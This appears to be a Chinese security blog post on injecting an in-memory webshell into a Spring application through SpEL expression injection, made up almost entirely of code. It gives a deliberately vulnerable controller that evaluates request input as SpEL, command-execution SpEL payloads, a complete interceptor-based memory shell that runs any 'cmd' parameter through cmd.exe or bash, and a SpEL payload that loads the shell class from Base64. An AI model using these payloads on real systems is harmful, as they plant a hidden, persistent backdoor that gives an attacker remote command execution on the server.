SpEL表达式漏洞注入内存马

package code.landgrey.controller;import org.springframework.expression.Expression;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import java.io.IOException;@RestControllerpublic class TestController {    @RequestMapping("/memshell")    public String index(String name) throws IOException {        SpelExpressionParser spelExpressionParser = new SpelExpressionParser();        Expression expression = spelExpressionParser.parseExpression(name);        String out = (String) expression.getValue();        System.out.println(out);        return out;    }}

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

import org.springframework.web.servlet.HandlerInterceptor;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.lang.reflect.Field;import java.util.List;public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {    static {        System.out.println("staart");        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        Field field = null;        try {            field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        } catch (NoSuchFieldException e) {            e.printStackTrace();        }        field.setAccessible(true);        List<HandlerInterceptor> adaptInterceptors = null;        try {            adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);        } catch (IllegalAccessException e) {            e.printStackTrace();        }        InceptorMemShell evilInterceptor = new InceptorMemShell();        adaptInterceptors.add(evilInterceptor);        System.out.println("ok");    }    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String cmd = request.getParameter("cmd");        if (cmd != null) {            try {                response.setCharacterEncoding("gbk");                java.io.PrintWriter printWriter = response.getWriter();                ProcessBuilder builder;                String o = "";                if (System.getProperty("os.name").toLowerCase().contains("win")) {                    builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});                } else {                    builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});                }                java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema");                o = c.hasNext() ? c.next(): o;                c.close();                printWriter.println(o);                printWriter.flush();                printWriter.close();            } catch (Exception e) {                e.printStackTrace();            }            return false;        }        return true;    }    @Override    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {    }    @Override    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

  public static Class defineClass(String className, byte[] b, ClassLoader loader) throws Exception {        return defineClass(className, b, loader, PROTECTION_DOMAIN);    }    public static Class defineClass(String className, byte[] b, ClassLoader loader, ProtectionDomain protectionDomain) throws Exception {        Object[] args = new Object[]{className, b, new Integer(0), new Integer(b.length), protectionDomain};        Class c = (Class)DEFINE_CLASS.invoke(loader, args);        Class.forName(className, true, loader);        return c;    }

T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()